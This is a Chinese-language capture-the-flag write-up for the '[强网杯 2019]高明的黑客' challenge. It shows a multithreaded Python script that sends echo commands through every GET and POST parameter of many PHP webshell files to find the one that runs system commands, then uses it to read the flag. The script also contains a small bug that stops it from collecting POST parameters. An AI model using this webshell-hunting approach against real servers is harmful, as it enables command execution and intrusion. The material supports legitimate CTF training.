[强网杯 2019]高明的黑客 1

1.发现

1.1根据提示下载网站文件,发现为很多PHP文件。

[强网杯 2019]高明的黑客 1

 

 [强网杯 2019]高明的黑客 1

 

 2.1打开其中一个进行代码审计。

认真看这些文件都是 getshell 文件。能把传入的变量执行系统命令。

不过不可能都是有用的,随便打开几个会发现,传入的变量都变为空了,所以基本上无效。

[强网杯 2019]高明的黑客 1

 

 2.2编写 python 脚本寻找有用的 getshell 文件。

基本思想,将文件都执行一遍,所以需要 web 环境。

可以用 phpstudy 搭建 web 环境,将这些文件放在 www 根目录一个文件夹,遍历访问。

所以脚本需要遍历这些php文件,然后判断所有的参数是否可以执行。

import os
import requests
import re
import threading
import time
print('开始时间:  '+  time.asctime( time.localtime(time.time()) ))
s1=threading.Semaphore(100)                                            #这儿设置最大的线程数
filePath = r"D:/phpstudy_pro/WWW/src"                   #自己替换为文件所在目录
os.chdir(filePath)                                                    #改变当前的路径
requests.adapters.DEFAULT_RETRIES = 5                                #设置重连次数,防止线程数过高,断开连接
files = os.listdir(filePath)
session = requests.Session()
session.keep_alive = False                                             # 设置连接活跃状态为False
def get_content(file):
    s1.acquire()                                                
    print('trying   '+file+ '     '+ time.asctime( time.localtime(time.time()) ))
    with open(file,encoding='utf-8') as f:                            #打开php文件,提取所有的$_GET和$_POST的参数
            gets = list(re.findall('\$_GET\[\'(.*?)\'\]', f.read()))
            posts = list(re.findall('\$_POST\[\'(.*?)\'\]', f.read()))
    data = {}                                                        #所有的$_POST
    params = {}                                                        #所有的$_GET
    for m in gets:
        params[m] = "echo 'xxxxxx';"
    for n in posts:
        data[n] = "echo 'xxxxxx';"
    url = 'http://127.0.0.1/src/'+file                      #自己替换为本地url
    req = session.post(url, data=data, params=params)            #一次性请求所有的GET和POST
    req.close()                                                # 关闭请求  释放内存
    req.encoding = 'utf-8'
    content = req.text
    #print(content)
    if "xxxxxx" in content:                                    #如果发现有可以利用的参数,继续筛选出具体的参数
        flag = 0
        for a in gets:
            req = session.get(url+'?%s='%a+"echo 'xxxxxx';")
            content = req.text
            req.close()                                                # 关闭请求  释放内存
            if "xxxxxx" in content:
                flag = 1
                break
        if flag != 1:
            for b in posts:
                req = session.post(url, data={b:"echo 'xxxxxx';"})
                content = req.text
                req.close()                                                # 关闭请求  释放内存
                if "xxxxxx" in content:
                    break
        if flag == 1:                                                    #flag用来判断参数是GET还是POST,如果是GET,flag==1,则b未定义;如果是POST,flag为0,
            param = a
        else:
            param = b
        print('找到了利用文件: '+file+"  and 找到了利用的参数:%s" %param)
        print('结束时间:  ' + time.asctime(time.localtime(time.time())))
    s1.release()

for i in files:                                                            #加入多线程
   t = threading.Thread(target=get_content, args=(i,))
   t.start()

2.3☆下高版本PHP study下跑一下脚本 

[强网杯 2019]高明的黑客 1

2.3查询根目录下文件,查找flag。

[强网杯 2019]高明的黑客 1

 3.借鉴

buuctf—web—高明的黑客 (bbsmax.com)

(36条消息) BUUCTF__[强网杯 2019]高明的黑客_题解_风过江南乱的博客-CSDN博客

4. 知识点

python脚本的编写

 

上一篇:玩转nodeJS系列:使用cluster创建nodejs单机多核集群(多进程)


下一篇:2021-2022-1 20211412 《信息安全专业导论》第4周学习总